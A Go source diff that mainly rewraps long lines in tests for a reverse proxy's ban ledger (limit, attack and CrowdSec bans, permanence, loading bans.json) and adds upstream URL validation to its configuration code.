ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(),
bans.Notes{})
ban, _ := ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.9/32"),
midnight(),
bans.Notes{},
)
if !ban.Permanent() {
t.Errorf("first ban ends at %s, want a permanent one", ban.Expires)
}
@@ -106,7 +129,12 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
for i := range 14 {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Expires.After(ban.Start) {
t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires)
t.Fatalf(
"ban %d starts at %s and ends at %s",
i+1,
ban.Start,
ban.Expires,
)
}
now = ban.Expires
@@ -129,17 +157,36 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) {
t.Error("the first ban was not made")
}
again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
again, made := ledger.BanForLimit(
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 {
t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+
"want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first)
if made || !reflect.DeepEqual(again, first) ||
len(ledger.Bans(netblock)) != 1 {
t.Errorf(
"a limit broken during a ban gave %+v, made %t, and %d bans, "+
"want %+v, not made, and 1",
again,
made,
len(ledger.Bans(netblock)),
first,
)
}
again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{})
again, made = ledger.BanForAttack(
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
if made || !reflect.DeepEqual(again, first) {
t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made",
again, made, first)
t.Errorf(
"an attack during a ban gave %+v, made %t, want %+v, not made",
again,
made,
first,
)
}
}
@@ -148,16 +195,26 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) {
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
ban, _ := ledger.BanForLimit(
netblock,
midnight(),
bans.Notes{Requests: 5},
)
for range 3 {
got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
got, banned, _ := ledger.Check(
netblock.Addr(),
ban.Expires.Add(-time.Nanosecond),
)
if !banned || got.Start != ban.Start {
t.Fatalf("check during the ban gives %+v and %t", got, banned)
}
}
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight())
_, banned, _ := ledger.Check(
netip.MustParseAddr("203.0.113.10"),
midnight(),
)
if banned {
t.Error("another netblock is banned")
}
@@ -180,11 +237,23 @@ func TestFindCountsNothing(t *testing.T) {
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5})
ban, _ := ledger.BanForLimit(
netblock,
midnight(),
bans.Notes{Requests: 5},
)
got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond))
got, banned, _ := ledger.Find(
netblock.Addr(),
ban.Expires.Add(-time.Nanosecond),
)
if !banned || !reflect.DeepEqual(got, ban) {
t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban)
t.Errorf(
"find during the ban gives %+v and %t, want %+v",
got,
banned,
ban,
)
}
_, banned, _ = ledger.Find(netblock.Addr(), ban.Expires)
@@ -192,12 +261,21 @@ func TestFindCountsNothing(t *testing.T) {
t.Error("the ban did not end")
}
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) {
t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes)
if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(
notes,
ban.Notes,
) {
t.Errorf(
"the notes are %+v, want them unchanged, %+v",
notes,
ban.Notes,
)
}
}
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(
t *testing.T,
) {
t.Parallel()
params := defaultParams()
@@ -230,7 +308,10 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) {
wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1})
if !ledger.Bans(a)[0].Start.Equal(first.Expires) {
t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start)
t.Errorf(
"a kept its ban of %s, want the later one",
ledger.Bans(a)[0].Start,
)
}
}
@@ -263,41 +344,70 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
notes := bans.Notes{RuleID: "env-file", Target: "path"}
ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
if !ban.Expires.Equal(midnight().Add(7*day)) ||
ban.Cause != bans.CauseAttack ||
ban.Notes.RuleID != "env-file" ||
ledger.Made(bans.CauseAttack) != 1 ||
ledger.Made(bans.CauseLimit) != 0 {
t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
"want one for an attack, of seven days", ban,
ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
t.Fatalf(
"the ban is %+v, with %d made for an attack and %d for a limit, "+
"want one for an attack, of seven days",
ban,
ledger.Made(bans.CauseAttack),
ledger.Made(bans.CauseLimit),
)
}
wantChanged(t, ledger, true)
// In observe mode the ban refuses nothing, and stays as it is, while
// Find tells that the request would have made it permanent.
got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
t.Fatalf("a request found under the ban left it %+v, would have made it "+
"permanent %t, want it as it was, and true", got, wouldMakePermanent)
got, _, wouldMakePermanent := ledger.Find(
netblock.Addr(),
midnight().Add(time.Hour),
)
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() ||
!wouldMakePermanent {
t.Fatalf(
"a request found under the ban left it %+v, would have made it "+
"permanent %t, want it as it was, and true",
got,
wouldMakePermanent,
)
}
wantChanged(t, ledger, false)
// A request it refuses makes it permanent, says so, and makes
// bans.json due.
got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
"want it made permanent", got, madePermanent)
got, _, madePermanent := ledger.Check(
netblock.Addr(),
midnight().Add(time.Hour),
)
if !madePermanent || !got.Permanent() ||
!ledger.Bans(netblock)[0].Permanent() {
t.Fatalf(
"after a request during the ban, it is %+v, made permanent %t, "+
"want it made permanent",
got,
madePermanent,
)
}
wantChanged(t, ledger, true)
// The next request finds it permanent already.
_, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
_, banned, madePermanent := ledger.Check(
netblock.Addr(),
midnight().Add(100*365*day),
)
if !banned || madePermanent {
t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
"want banned by the permanent ban", banned, madePermanent)
t.Errorf(
"a later request is banned %t, and made the ban permanent %t, "+
"want banned by the permanent ban",
banned,
madePermanent,
)
}
}
@@ -325,7 +435,11 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
// Its notes show the earlier ban for an attack that makes it permanent,
// beside the one for a limit.
third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
third, _ := ledger.BanForAttack(
netblock,
second.Expires.Add(30*day),
bans.Notes{},
)
if !third.Permanent() ||
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
@@ -342,10 +456,18 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
wantChanged(t, ledger, true)
// While the first ban lasts, none would be made.
during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
during, would := ledger.WouldBanForAttack(
netblock,
midnight(),
bans.Notes{},
)
if would || !reflect.DeepEqual(during, first) {
t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
would, during, first)
t.Errorf(
"during the first ban, would ban %t with %+v, want false with %+v",
would,
during,
first,
)
}
// As it ends, a clear sign of attack would ban for seven days, and a
@@ -353,19 +475,31 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
bans.Notes{RuleID: "git-dir"})
limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
limit, wouldLimit := ledger.WouldBanForLimit(
netblock,
first.Expires,
limitNotes,
)
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
attack.Reason != "matched the rule git-dir" || !wouldLimit ||
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
limit.Reason != "requests per minute over the limit of 1" {
t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
"three hours for the limit", attack, limit)
t.Errorf(
"would ban with %+v and %+v, want seven days for the attack and "+
"three hours for the limit",
attack,
limit,
)
}
if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
if len(ledger.Bans(netblock)) != 1 ||
ledger.Made(bans.CauseLimit) != 1 ||
ledger.Made(bans.CauseAttack) != 0 {
t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
t.Errorf(
"the ledger holds %+v, want the first ban alone",
ledger.Bans(netblock),
)
}
wantChanged(t, ledger, false)
@@ -422,7 +556,8 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Cause != bans.CauseLimit {
t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
}
@@ -443,15 +578,23 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
}
ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
ban, _ := ledger.BanForLimit(
netblock,
midnight(),
bans.Notes{Request: request},
)
cut := long[:256]
want := bans.Request{
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
}
if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
if ban.Notes.Request != want ||
ledger.Bans(netblock)[0].Notes.Request != want {
t.Errorf(
"the notes keep %+v, want each text cut to 256 bytes",
ban.Notes.Request,
)
}
}
@@ -482,13 +625,23 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
} {
got := held[i].Notes
if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
if got.ASN != want.ASN || got.ASName != want.ASName ||
got.Country != want.Country {
t.Errorf(
"ban %d's notes give %q, %q and %q, want %q, %q and %q",
i+1,
got.ASN,
got.ASName,
got.Country,
want.ASN,
want.ASName,
want.Country,
)
}
}
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" ||
notes.Country != "" {
t.Errorf("the ban on %s has %q and %q, want neither",
other, notes.ASN, notes.Country)
}
+66 -20
View File
@@ -20,29 +20,55 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
expires := midnight().Add(4 * time.Hour)
// The ban that would be made is not made.
would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
scenario, bans.Notes{})
would, wouldBan := ledger.WouldBanForCrowdSec(
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
wouldBan, ledger.Bans(netblock))
t.Errorf(
"would ban %t, and the ledger holds %+v, want true and nothing",
wouldBan,
ledger.Bans(netblock),
)
}
const reason = "CrowdSec's decision for " + scenario
ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
bans.Notes{})
if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
!ban.Expires.Equal(expires) || ban.Reason != reason ||
ban, made := ledger.BanForCrowdSec(
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
if !made || !reflect.DeepEqual(ban, would) ||
ban.Cause != bans.CauseCrowdSec ||
!ban.Expires.Equal(expires) ||
ban.Reason != reason ||
ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
"crowdsec until %s", made, ban, would, expires)
t.Errorf(
"made %t the ban %+v, want the one that would be made, %+v, for "+
"crowdsec until %s",
made,
ban,
would,
expires,
)
}
// A second decision on the netblock while the ban lasts makes no other.
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
expires.Add(time.Hour), scenario, bans.Notes{})
if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
if made || !again.Expires.Equal(expires) ||
ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf(
"made %t the ban %+v while the first lasts, want none",
made,
again,
)
}
}
@@ -52,7 +78,13 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
ledger.BanForCrowdSec(
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
// A request as the ban ends is refused, and leaves it as it is.
last := expires.Add(-time.Nanosecond)
@@ -60,8 +92,13 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
if !banned || madePermanent || !held.Expires.Equal(expires) ||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
"refused under the ban as it was", banned, held, madePermanent)
t.Errorf(
"as the ban ends, banned %t with %+v, made permanent %t, want "+
"refused under the ban as it was",
banned,
held,
madePermanent,
)
}
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
@@ -69,7 +106,9 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
}
}
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
t *testing.T,
) {
t.Parallel()
ledger := bans.New(defaultParams())
@@ -78,13 +117,20 @@ func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T)
// Three times the three days would be permanent; a limit broken as the
// ban for CrowdSec's decision ends bans for an hour, as a first broken
// limit does.
crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
scenario, bans.Notes{})
crowdSec, _ := ledger.BanForCrowdSec(
netblock,
midnight(),
midnight().Add(3*day),
scenario,
bans.Notes{},
)
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
limit)
t.Errorf(
"the ban for a limit is %+v, want one of an hour after one for crowdsec",
limit,
)
}
}
+79 -22
View File
@@ -29,8 +29,16 @@ func TestChangedAfterABanIsMade(t *testing.T) {
wantChanged(t, ledger, false)
// Two bans before the value is read leave one.
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.10/32"),
midnight(),
bans.Notes{},
)
ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.11/32"),
midnight(),
bans.Notes{},
)
wantChanged(t, ledger, true)
wantChanged(t, ledger, false)
}
@@ -52,7 +60,10 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
got := make([]string, 0, len(snapshot))
for _, ban := range snapshot {
got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
got = append(
got,
ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen),
)
}
want := []string{
@@ -77,7 +88,10 @@ func TestLoadedBansCarryOn(t *testing.T) {
after := bans.New(defaultParams())
after.Load(before.Snapshot())
_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
_, banned, _ := after.Check(
netblock.Addr(),
ban.Expires.Add(-time.Second),
)
if !banned {
t.Error("the loaded ban does not refuse")
}
@@ -85,8 +99,11 @@ func TestLoadedBansCarryOn(t *testing.T) {
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
if again.Expires.Sub(again.Start) != 3*time.Hour ||
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
again.Expires.Sub(again.Start), again.Notes.EarlierBans)
t.Errorf(
"the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
again.Expires.Sub(again.Start),
again.Notes.EarlierBans,
)
}
}
@@ -98,10 +115,20 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
// ban covers, beside a ban the ledger makes on one IPv4 address.
ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{
{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
{
Netblock: netip.MustParsePrefix("203.0.113.9/24"),
Start: midnight(),
},
{
Netblock: netip.MustParsePrefix("2001:db8::1/48"),
Start: midnight(),
},
})
ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
ledger.BanForLimit(
netip.MustParsePrefix("198.51.100.7/32"),
midnight(),
bans.Notes{},
)
for client, want := range map[string]bool{
"203.0.113.0": true,
@@ -138,7 +165,10 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
// As when an admin adds a permanent ban to bans.json with a start
// before that of the netblock's ban that has ended.
netblock := netip.MustParsePrefix("203.0.113.0/24")
permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
permanent := bans.Ban{
Netblock: netblock,
Start: midnight().Add(-time.Hour),
}
ended := bans.Ban{
Netblock: netblock,
Start: midnight(),
@@ -153,20 +183,31 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
ban, banned, _ := ledger.Find(client, now)
if !banned || !ban.Permanent() {
t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
t.Errorf(
"find gives %+v and %t, want the permanent ban",
ban,
banned,
)
}
ban, banned, _ = ledger.Check(client, now)
if !banned || !ban.Permanent() {
t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
banned, ban)
t.Errorf(
"the client is refused: %t, under %+v, want under the permanent ban",
banned,
ban,
)
}
// A limit broken now makes no shorter ban over the permanent one.
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
"want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
t.Errorf(
"a broken limit returned %+v and left the netblock %d bans, "+
"want the permanent ban and 2",
ban,
len(ledger.Bans(netblock)),
)
}
}
@@ -195,7 +236,11 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
// Once both have ended, a limit broken within the repeat window bans
// for three times the 9 hours, and the notes count the two bans
// before the 9-hour one and it, for a limit, and the admin's.
ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
ban, _ := ledger.BanForLimit(
netblock,
nineHours.Expires.Add(time.Hour),
bans.Notes{},
)
if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
t.Errorf("the next ban lasts %s with earlier bans %+v, "+
@@ -226,7 +271,10 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
held := ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
t.Errorf("the ledger holds %+v, want only the ban that began later", held)
t.Errorf(
"the ledger holds %+v, want only the ban that began later",
held,
)
}
}
@@ -256,16 +304,25 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
// bans.json is taken in, that ban is lifted.
ledger.Load([]bans.Ban{kept})
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
_, banned, _ := ledger.Check(
netip.MustParseAddr("203.0.113.9"),
midnight(),
)
if banned {
t.Error("a ban left out of the second load still refuses")
}
// The ledger holds one ban, so it makes two more without dropping any.
first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
bans.Notes{})
second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
bans.Notes{})
first, _ := ledger.BanForLimit(
netip.MustParsePrefix("198.51.100.7/32"),
midnight(),
bans.Notes{},
)
second, _ := ledger.BanForLimit(
netip.MustParsePrefix("198.51.100.8/32"),
midnight(),
bans.Notes{},
)
want := []bans.Ban{first, second, kept}
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
+6 -2416
View File
File diff suppressed because it is too large. Load diff
+81 -13
View File
@@ -48,14 +48,25 @@ type RProxy struct {
settings []slog.Attr
}
// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
const defaultUpstreamURL = "http://127.0.0.1:8081"
// privateRanges are the private address ranges, the default trusted
// proxies.
const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
var (
errNotUpstreamURL = errors.New(
"is not a URL with only a scheme, a host and an optional port, " +
"such as http://127.0.0.1:8081")
errNeedsWAFBackend = errors.New(
"is required: it is waf's URL, such as http://waf:8080")
errNotDisposition = errors.New("is not allow or deny")
errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000")
errNotMillisecondsOrOff = errors.New(
"is not a whole number of milliseconds above zero, such as 60000, or off")
"is not a whole number of milliseconds above zero, such as 60000, or off",
)
)
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
@@ -63,19 +74,36 @@ var (
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
// invalid is an error that names it. Since rproxy never touches disk, its
// settings have no _FILE form.
func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
func RProxyFromEnvironment(
lookupEnv func(string) (string, bool),
) (*RProxy, error) {
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
cfg := &RProxy{
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
UpstreamURL: env.appURL(
"SWRP_UPSTREAM_URL",
defaultUpstreamURL,
),
TrustedProxies: env.netblocks(
"SWRP_TRUSTED_PROXIES",
privateRanges,
),
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
DefaultDisposition: env.disposition(
"SWRP_DEFAULT_DISPOSITION",
"allow",
),
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
MaxRequestTime: env.millisecondsOrOff(
"SWRP_MAX_REQUEST_TIME_MS",
"60000",
),
MaxResponseTime: env.millisecondsOrOff(
"SWRP_MAX_RESPONSE_TIME_MS",
"1800000",
),
}
if env.err != nil {
@@ -124,6 +152,14 @@ func (c *RProxy) LogValue() slog.Value {
return slog.GroupValue(c.settings...)
}
// appURL reads a setting that is the app's URL.
func (e *environment) appURL(name, defaultValue string) *url.URL {
upstream, err := parseUpstreamURL(e.value(name, defaultValue))
e.check(name, err)
return upstream
}
// wafBackend reads the setting that is waf's URL, which must be set.
func (e *environment) wafBackend(name string) *url.URL {
value := e.value(name, "")
@@ -166,7 +202,9 @@ func (e *environment) milliseconds(name, defaultValue string) time.Duration {
// millisecondsOrOff reads a setting that is a whole number of milliseconds
// above zero, or off, which is 0.
func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
func (e *environment) millisecondsOrOff(
name, defaultValue string,
) time.Duration {
value := e.value(name, defaultValue)
if value == off {
return 0
@@ -190,3 +228,33 @@ func parseMilliseconds(value string) (time.Duration, bool) {
return time.Duration(n) * time.Millisecond, true
}
// parseUpstreamURL reads the app's URL: http or https, a host and an
// optional port from 1 to 65535, and nothing else, since the request's
// own path and query go to the app unchanged.
func parseUpstreamURL(value string) (*url.URL, error) {
upstream, err := url.Parse(value)
if err != nil {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
upstream.Hostname() != "" &&
upstream.User == nil &&
upstream.Opaque == "" &&
(upstream.Path == "" || upstream.Path == "/") &&
upstream.RawQuery == "" &&
upstream.Fragment == ""
if !onlySchemeAndHost {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
if upstream.Port() != "" {
port, err := strconv.ParseUint(upstream.Port(), 10, 16)
if err != nil || port == 0 {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
}
return upstream, nil
}
+29 -10
View File
@@ -50,18 +50,28 @@ func TestRProxyDefaults(t *testing.T) {
if cfg.ListenAddr != rproxyDefaultAddr ||
cfg.UpstreamURL.String() != rproxyDefaultApp ||
cfg.WAFBackend.String() != backendURL {
t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
t.Errorf(
"addresses %q, %v, %v",
cfg.ListenAddr,
cfg.UpstreamURL,
cfg.WAFBackend,
)
}
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
t.Errorf(
"timeout %v, default disposition %q",
cfg.Timeout,
cfg.DefaultDisposition,
)
}
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
}
if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
if cfg.MaxRequestTime != time.Minute ||
cfg.MaxResponseTime != 30*time.Minute {
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
}
@@ -100,9 +110,12 @@ func TestRProxySettingsAreRead(t *testing.T) {
t.Errorf("addresses %+v", cfg)
}
if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
if cfg.Timeout != 150*time.Millisecond ||
cfg.DefaultDisposition != "deny" ||
cfg.MaxRequestSize != 1024 ||
cfg.MaxResponseSize != 0 ||
cfg.MaxRequestTime != 0 ||
cfg.MaxResponseTime != 250*time.Millisecond {
t.Errorf("limits %+v", cfg)
}
}
@@ -147,7 +160,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
_, err := rproxyConfig(
map[string]string{wafBackend: backendURL, tc.name: tc.value},
)
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
t.Errorf("error %v, want one naming %s", err, tc.name)
}
@@ -158,7 +173,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
t.Parallel()
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
cfg, err := rproxyConfig(
map[string]string{wafBackend: backendURL, rproxyTrusted: ""},
)
if err != nil {
t.Fatalf("settings: %v", err)
}
